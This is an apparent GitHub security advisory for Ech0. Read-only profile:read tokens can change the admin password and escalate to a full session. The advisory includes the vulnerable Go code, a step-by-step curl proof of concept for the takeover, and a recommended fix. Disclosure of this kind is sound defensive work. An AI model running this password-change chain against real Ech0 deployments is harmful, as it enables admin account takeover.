GHSA-HM2H-WWWH-G49X

Vulnerability from github – Published: 2026-04-10 19:49 – Updated: 2026-04-10 19:49
VLAI
Summary
Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session
Details

Summary

The PUT /user endpoint is protected by RequireScopes("profile:read"), which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted profile:read access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.

Details

The scope enforcement system defines granular scopes (e.g., echo:read, echo:write, admin:user) but has no profile:write scope. The PUT /user route is protected only by profile:read:

// internal/router/user.go:40-44
appRouterGroup.AuthRouterGroup.PUT(
    "/user",
    middleware.RequireScopes(authModel.ScopeProfileRead),
    h.UserHandler.UpdateUser(),
)

The RequireScopes middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:

// internal/middleware/scope.go:14-19
func RequireScopes(scopes ...string) gin.HandlerFunc {
    return func(ctx *gin.Context) {
        v := viewer.MustFromContext(ctx.Request.Context())
        if v.TokenType() == authModel.TokenTypeSession {
            ctx.Next()
            return
        }
        // ... checks access token has required scopes (line 53)

The UpdateUser service checks user.IsAdmin but does not verify the token's scope is sufficient for write operations:

// internal/service/user/user.go:271-300
func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {
    userid := viewer.MustFromContext(ctx).UserID()
    user, err := userService.userRepository.GetUserByID(ctx, userid)
    // ...
    if !user.IsAdmin {
        return errors.New(commonModel.NO_PERMISSION_DENIED)
    }
    // ...
    if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {
        user.Password = cryptoUtil.MD5Encrypt(userdto.Password)  // line 299
    }

After the password is changed, the attacker logs in via POST /login which calls issueUserTokenCreateClaims, producing a session token with Type: "session" (jwt.go:33). Session tokens bypass RequireScopes entirely, granting unrestricted API access.

Escalation chain: profile:read access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including admin:settings, admin:user, admin:token, file:write, etc.

PoC

# Prerequisites: Admin has created a profile:read access token for a read-only integration
# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)

ACCESS_TOKEN="<admin_profile_read_access_token>"
SERVER="http://localhost:8080"

# Step 1: Verify the token only has profile:read scope (can read profile)
curl -s -X GET "$SERVER/api/user" \
  -H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 200 OK with user profile data

# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)
curl -s -X GET "$SERVER/api/allusers" \
  -H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 403 Forbidden (requires admin:user scope)

# Step 3: Change the admin's password using the profile:read token
curl -s -X PUT "$SERVER/api/user" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"password":"attackerpass123"}'
# Expected: 200 OK — password changed despite only having profile:read scope

# Step 4: Login with the new password to get an unrestricted session token
curl -s -X POST "$SERVER/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"attackerpass123"}'
# Expected: 200 OK with session JWT token

# Step 5: Use the session token to access admin-only endpoints
SESSION_TOKEN="<session_token_from_step_4>"
curl -s -X GET "$SERVER/api/allusers" \
  -H "Authorization: Bearer $SESSION_TOKEN"
# Expected: 200 OK — full admin access, all scope restrictions bypassed

Impact

An attacker who obtains an admin's profile:read access token — intended to be the most restrictive scope available — can:

  1. Change the admin's password without any write-level scope, violating the principle of least privilege
  2. Escalate to a full unrestricted session token by logging in with the new credentials
  3. Gain complete admin access including user management (admin:user), system settings (admin:settings), token management (admin:token), file operations (file:write), and all content operations
  4. Lock the original admin out of password-based authentication (though OAuth/passkey login remains available)

This defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.

Recommended Fix

Add a profile:write scope and require it for the PUT /user endpoint:

// internal/model/auth/scope.go — add new scope
const (
    // ... existing scopes ...
    ScopeProfileRead    = "profile:read"
    ScopeProfileWrite   = "profile:write"  // NEW
)

var validScopes = map[string]struct{}{
    // ... existing entries ...
    ScopeProfileWrite:  {},  // NEW
}
// internal/router/user.go:40-44 — require profile:write for PUT
appRouterGroup.AuthRouterGroup.PUT(
    "/user",
    middleware.RequireScopes(authModel.ScopeProfileWrite),  // Changed from ScopeProfileRead
    h.UserHandler.UpdateUser(),
)

Similarly, update other write operations currently gated behind profile:read: - POST /oauth/:provider/bind → require profile:write - POST /passkey/register/begin and /finish → require profile:write - DELETE /passkeys/:id → require profile:write - PUT /passkeys/:id → require profile:write

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:49:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `PUT /user` endpoint is protected by `RequireScopes(\"profile:read\")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin\u0027s restricted `profile:read` access token can change the admin\u0027s password, then login to receive an unrestricted session token that bypasses all scope enforcement.\n\n## Details\n\nThe scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`:\n\n```go\n// internal/router/user.go:40-44\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/user\",\n    middleware.RequireScopes(authModel.ScopeProfileRead),\n    h.UserHandler.UpdateUser(),\n)\n```\n\nThe `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:\n\n```go\n// internal/middleware/scope.go:14-19\nfunc RequireScopes(scopes ...string) gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        v := viewer.MustFromContext(ctx.Request.Context())\n        if v.TokenType() == authModel.TokenTypeSession {\n            ctx.Next()\n            return\n        }\n        // ... checks access token has required scopes (line 53)\n```\n\nThe `UpdateUser` service checks `user.IsAdmin` but does not verify the token\u0027s scope is sufficient for write operations:\n\n```go\n// internal/service/user/user.go:271-300\nfunc (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {\n    userid := viewer.MustFromContext(ctx).UserID()\n    user, err := userService.userRepository.GetUserByID(ctx, userid)\n    // ...\n    if !user.IsAdmin {\n        return errors.New(commonModel.NO_PERMISSION_DENIED)\n    }\n    // ...\n    if userdto.Password != \"\" \u0026\u0026 cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {\n        user.Password = cryptoUtil.MD5Encrypt(userdto.Password)  // line 299\n    }\n```\n\nAfter the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` \u2192 `CreateClaims`, producing a session token with `Type: \"session\"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access.\n\n**Escalation chain:** `profile:read` access token \u2192 password change \u2192 login \u2192 unrestricted session token (bypasses all scope checks) \u2192 full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc.\n\n## PoC\n\n```bash\n# Prerequisites: Admin has created a profile:read access token for a read-only integration\n# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)\n\nACCESS_TOKEN=\"\u003cadmin_profile_read_access_token\u003e\"\nSERVER=\"http://localhost:8080\"\n\n# Step 1: Verify the token only has profile:read scope (can read profile)\ncurl -s -X GET \"$SERVER/api/user\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 200 OK with user profile data\n\n# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 403 Forbidden (requires admin:user scope)\n\n# Step 3: Change the admin\u0027s password using the profile:read token\ncurl -s -X PUT \"$SERVER/api/user\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"password\":\"attackerpass123\"}\u0027\n# Expected: 200 OK \u2014 password changed despite only having profile:read scope\n\n# Step 4: Login with the new password to get an unrestricted session token\ncurl -s -X POST \"$SERVER/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"attackerpass123\"}\u0027\n# Expected: 200 OK with session JWT token\n\n# Step 5: Use the session token to access admin-only endpoints\nSESSION_TOKEN=\"\u003csession_token_from_step_4\u003e\"\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n  -H \"Authorization: Bearer $SESSION_TOKEN\"\n# Expected: 200 OK \u2014 full admin access, all scope restrictions bypassed\n```\n\n## Impact\n\nAn attacker who obtains an admin\u0027s `profile:read` access token \u2014 intended to be the most restrictive scope available \u2014 can:\n\n1. **Change the admin\u0027s password** without any write-level scope, violating the principle of least privilege\n2. **Escalate to a full unrestricted session token** by logging in with the new credentials\n3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations\n4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available)\n\nThis defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.\n\n## Recommended Fix\n\nAdd a `profile:write` scope and require it for the `PUT /user` endpoint:\n\n```go\n// internal/model/auth/scope.go \u2014 add new scope\nconst (\n    // ... existing scopes ...\n    ScopeProfileRead    = \"profile:read\"\n    ScopeProfileWrite   = \"profile:write\"  // NEW\n)\n\nvar validScopes = map[string]struct{}{\n    // ... existing entries ...\n    ScopeProfileWrite:  {},  // NEW\n}\n```\n\n```go\n// internal/router/user.go:40-44 \u2014 require profile:write for PUT\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/user\",\n    middleware.RequireScopes(authModel.ScopeProfileWrite),  // Changed from ScopeProfileRead\n    h.UserHandler.UpdateUser(),\n)\n```\n\nSimilarly, update other write operations currently gated behind `profile:read`:\n- `POST /oauth/:provider/bind` \u2192 require `profile:write`\n- `POST /passkey/register/begin` and `/finish` \u2192 require `profile:write`\n- `DELETE /passkeys/:id` \u2192 require `profile:write`\n- `PUT /passkeys/:id` \u2192 require `profile:write`",
  "id": "GHSA-hm2h-wwwh-g49x",
  "modified": "2026-04-10T19:49:14Z",
  "published": "2026-04-10T19:49:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-hm2h-wwwh-g49x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…